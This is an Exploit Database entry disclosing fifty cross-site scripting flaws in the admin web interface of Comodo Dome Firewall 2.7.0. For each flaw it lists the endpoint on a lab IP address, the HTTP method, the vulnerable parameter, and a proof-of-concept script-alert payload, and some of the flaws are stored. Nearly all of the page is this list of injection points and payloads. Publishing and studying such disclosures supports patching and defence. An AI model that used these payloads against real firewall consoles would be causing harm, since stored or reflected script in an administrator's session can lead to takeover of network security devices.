

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

# Comodo Dome Firewall 2.7.0 - Cross-Site Scripting

**EDB-ID:**  
46408

**CVE:**  
N/A

**EDB Verified:** ✖

**Author:**  
[OZER GOKER](#)

**Type:**  
[WEBAPPS](#)

**Exploit:**   / 

**Platform:**  
[MULTIPLE](#)

**Date:**  
2019-02-18

**Vulnerable App:**



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```
#####
# Exploit Title: Comodo Dome Firewall 2.7.0 | Cross-Site Scripting
# Date: 18.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://cdome.comodo.com/firewall/
# Software Link: https://secure.comodo.com/home/purchase.php?
pid=106&license=try&track=9278&af=9278
# Version: 2.7.0
#####

Introduction

Comodo Dome Firewall (DFW) provides comprehensive security for enterprise
networks. The firewall software can be installed on a physical system or a
virtual machine.

Dome Firewall simplifies the overall management of network security by
delivering a single interface through which administrators can control
firewall policy, antivirus, intrusion prevention, website filtering,
traffic monitoring, VPN and proxy servers. Dome Firewall also features
highly configurable notifications, in-depth reporting and an informative
dashboard which offers a panoramic view of all major settings and network
events.

#####

XSS details: Reflected & Stored

#####

XSS1 | Reflected

URL
https://192.168.2.200:10443/korugan/login

METHOD
Post

PARAMETER
username

PAYLOAD
"><script>alert(1)</script>

#####

XSS2 | Stored

URL
https://192.168.2.200:10443/korugan/admin_profiles

METHOD
Post

PARAMETER
comment

PAYLOAD
<script>alert(2)</script>

#####
```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

XSS3 | Stored

URL  
https://192.168.2.200:10443/korugan/admins

METHOD  
Post

PARAMETER  
admin\_name

PAYLOAD  
<script>alert(3)</script>

#####

XSS4 | Stored

URL  
https://192.168.2.200:10443/korugan/admins

METHOD  
Post

PARAMETER  
name

PAYLOAD  
<script>alert(4)</script>

#####

XSS5 | Stored

URL  
https://192.168.2.200:10443/korugan/admins

METHOD  
Post

PARAMETER  
surname

PAYLOAD  
<script>alert(5)</script>

#####

XSS6 | Stored

URL  
https://192.168.2.200:10443/korugan/license\_activation

METHOD  
Post

PARAMETER  
newLicense

PAYLOAD  
<script>alert(6)</script>

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

#####

XSS7 | Reflected

URL  
https://192.168.2.200:10443/korugan/cmclient

METHOD  
Post

PARAMETER  
organization

PAYLOAD  
"><script>alert(7)</script>

#####

XSS8 | Reflected

URL  
https://192.168.2.200:10443/korugan/backupschedule

METHOD  
Post

PARAMETER  
BACKUP\_RCPTTO

PAYLOAD  
<script>alert(8)</script>

#####

XSS9 | Reflected

URL  
https://192.168.2.200:10443/korugan/netwizard2

METHOD  
Post

PARAMETER  
netmask\_addr

PAYLOAD  
<script>alert(9)</script>

#####

XSS10 | Reflected

URL  
https://192.168.2.200:10443/korugan/routing

METHOD  
Post

PARAMETER  
destination

PAYLOAD

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

<script>alert(10)</script>

#####

XSS11 | Reflected

URL  
https://192.168.2.200:10443/korugan/policy\_routing#createrule

METHOD  
Post

PARAMETER  
source

PAYLOAD  
<script>alert(11)</script>

#####

XSS12 | Reflected

URL  
https://192.168.2.200:10443/korugan/policy\_routing#createrule

METHOD  
Post

PARAMETER  
destination

PAYLOAD  
<script>alert(12)</script>

#####

XSS13 | Reflected

URL  
https://192.168.2.200:10443/korugan/dhcp

METHOD  
Post

PARAMETER  
GATEWAY\_GREEN

PAYLOAD  
<script>alert(13)</script>

#####

XSS14 | Reflected

URL  
https://192.168.2.200:10443/korugan/time

METHOD  
Post

PARAMETER  
NTP\_SERVER\_LIST



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

PAYLOAD

<script>alert(14)</script>

#####

XSS15 | Reflected

URL

https://192.168.2.200:10443/manage/ips/rules/?ACTION=policy&CONTROLLERNAME=&ID=%3Cscript%3Ealert(15)%3C/script%3E&policy=dr

METHOD

Get

PARAMETER

ID

PAYLOAD

<script>alert(15)</script>

#####

XSS16 | Reflected

URL

https://192.168.2.200:10443/manage/ips/appid/?ACTION=enable&CONTROLLERNAME=&ID=%3Cscript%3Ealert(16)%3C/script%3E&enabled=o

METHOD

Get

PARAMETER

ID

PAYLOAD

<script>alert(16)</script>

#####

XSS17 | Reflected

URL

https://192.168.2.200:10443/korugan/hotspot\_permanent\_users

METHOD

Post

PARAMETER

MACADDRESSES

PAYLOAD

<script>alert(17)</script>

#####

XSS18 | Reflected

URL

https://192.168.2.200:10443/manage/qos/devices/

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

METHOD  
Post

PARAMETER  
device

PAYLOAD  
<script>alert(18)</script>

#####

XSS19 | Reflected

URL  
https://192.168.2.200:10443/manage/qos/rules/

METHOD  
Post

PARAMETER  
protocol

PAYLOAD  
<script>alert(19)</script>

#####

XSS20 | Reflected

URL  
https://192.168.2.200:10443/korugan/fwgroups

METHOD  
Post

PARAMETER  
FWADDRESSES

PAYLOAD  
<script>alert(20)</script>

#####

XSS21 | Stored

URL  
https://192.168.2.200:10443/korugan/schedule

METHOD  
Post

PARAMETER  
SCHNAME

PAYLOAD  
<script>alert(21)</script>

#####

XSS22 | Reflected



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

URL  
https://192.168.2.200:10443/korugan/snat

METHOD  
Post

PARAMETER  
port

PAYLOAD  
<script>alert(22)</script>

#####

XSS23 | Reflected

URL  
https://192.168.2.200:10443/korugan/snat

METHOD  
Post

PARAMETER  
snat\_to\_ip

PAYLOAD  
<script>alert(23)</script>

#####

XSS24 | Reflected

URL  
https://192.168.2.200:10443/korugan/policyfw

METHOD  
Post

PARAMETER  
mac

PAYLOAD  
<script>alert(24)</script>

#####

XSS25 | Reflected

URL  
https://192.168.2.200:10443/korugan/policyfw

METHOD  
Post

PARAMETER  
target

PAYLOAD  
<script>alert(25)</script>

#####

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

XSS26 | Stored

URL  
https://192.168.2.200:10443/korugan/policyfw

METHOD  
Post

PARAMETER  
remark

PAYLOAD  
<script>alert(26)</script>

#####

XSS27 | Reflected

URL  
https://192.168.2.200:10443/korugan/vpnfw

METHOD  
Post

PARAMETER  
target

PAYLOAD  
<script>alert(27)</script>

#####

XSS28 | Stored

URL  
https://192.168.2.200:10443/korugan/vpnfw

METHOD  
Post

PARAMETER  
remark

PAYLOAD  
<script>alert(28)</script>

#####

XSS29 | Reflected

URL  
https://192.168.2.200:10443/korugan/proxyconfig

METHOD  
Post

PARAMETER  
PROXY\_PORT

PAYLOAD

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

<script>alert(29)</script>

#####

XSS30 | Reflected

URL  
https://192.168.2.200:10443/korugan/proxyconfig

METHOD  
Post

PARAMETER  
VISIBLE\_HOSTNAME

PAYLOAD  
<script>alert(30)</script>

#####

XSS31 | Reflected

URL  
https://192.168.2.200:10443/korugan/proxyconfig

METHOD  
Post

PARAMETER  
ADMIN\_MAIL\_ADDRESS

PAYLOAD  
<script>alert(31)</script>

#####

XSS32 | Reflected

URL  
https://192.168.2.200:10443/korugan/proxyconfig

METHOD  
Post

PARAMETER  
CACHE\_MEM

PAYLOAD  
<script>alert(32)</script>

#####

XSS33 | Reflected

URL  
https://192.168.2.200:10443/korugan/proxyconfig

METHOD  
Post

PARAMETER

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

MAX\_SIZE

PAYLOAD<script>alert(33)</script>

#####

XSS34 | Reflected

URLhttps://192.168.2.200:10443/korugan/proxyconfig

METHODPost

PARAMETERMIN\_SIZE

PAYLOAD<script>alert(34)</script>

#####

XSS35 | Reflected

URLhttps://192.168.2.200:10443/korugan/proxyconfig

METHODPost

PARAMETERDST\_NOCACHE

PAYLOAD<script>alert(35)</script>

#####

XSS36 | Reflected

URLhttps://192.168.2.200:10443/korugan/https\_exceptions

METHODPost

PARAMETEREXCEPTIONSITELIST

PAYLOAD<script>alert(36)</script>

#####

XSS37 | Reflected

URLhttps://192.168.2.200:10443/korugan/smtpconfig

METHOD

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

METHOD

Post

PARAMETER

VIRUS\_ADMIN

PAYLOAD

<script>alert(37)</script>

#####

XSS38 | Reflected

URL

https://192.168.2.200:10443/korugan/dnsmasq

METHOD

Post

PARAMETER

TRANSPARENT\_SOURCE\_BYPASS

PAYLOAD

<script>alert(38)</script>

#####

XSS39 | Reflected

URL

https://192.168.2.200:10443/korugan/dnsmasq

METHOD

Post

PARAMETER

TRANSPARENT\_DESTINATION\_BYPASS

PAYLOAD

<script>alert(39)</script>

#####

XSS40 | Reflected

URL

https://192.168.2.200:10443/korugan/antispyware

METHOD

Post

PARAMETER

DNSMASQ\_WHITELIST

PAYLOAD

<script>alert(40)</script>

#####

XSS41 | Reflected

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

URL  
https://192.168.2.200:10443/korugan/antispyware

METHOD  
Post

PARAMETER  
DNSMASQ\_BLACKLIST

PAYLOAD  
<script>alert(41)</script>

#####

XSS42 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
username

PAYLOAD  
<script>alert(42)</script>

#####

XSS43 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
remotenets

PAYLOAD  
<script>alert(43)</script>

#####

XSS44 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
explicitroutes

PAYLOAD  
<script>alert(44)</script>

#####



EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

XSS45 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
static\_ip

PAYLOAD  
<script>alert(45)</script>

#####

XSS46 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
custom\_dns

PAYLOAD  
<script>alert(46)</script>

#####

XSS47 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_users

METHOD  
Post

PARAMETER  
custom\_domain

PAYLOAD  
<script>alert(47)</script>

#####

XSS48 | Reflected

URL  
https://192.168.2.200:10443/korugan/openvpn\_advanced

METHOD  
Post

PARAMETER  
GLOBAL\_NETWORKS

PAYLOAD

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

PAYLOAD

<script>alert(48)</script>

#####

XSS49 | Reflected

URL

https://192.168.2.200:10443/korugan/openvpn\_advanced

METHOD

Post

PARAMETER

GLOBAL\_DNS

PAYLOAD

<script>alert(49)</script>

#####

XSS50 | Reflected

URL

https://192.168.2.200:10443/korugan/vpn\_users

METHOD

Post

PARAMETER

username

PAYLOAD

<script>alert(50)</script>

#####

Tags: [Cross-Site Scripting \(XSS\)](#)

Advisory/Source: [Link](#)



- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾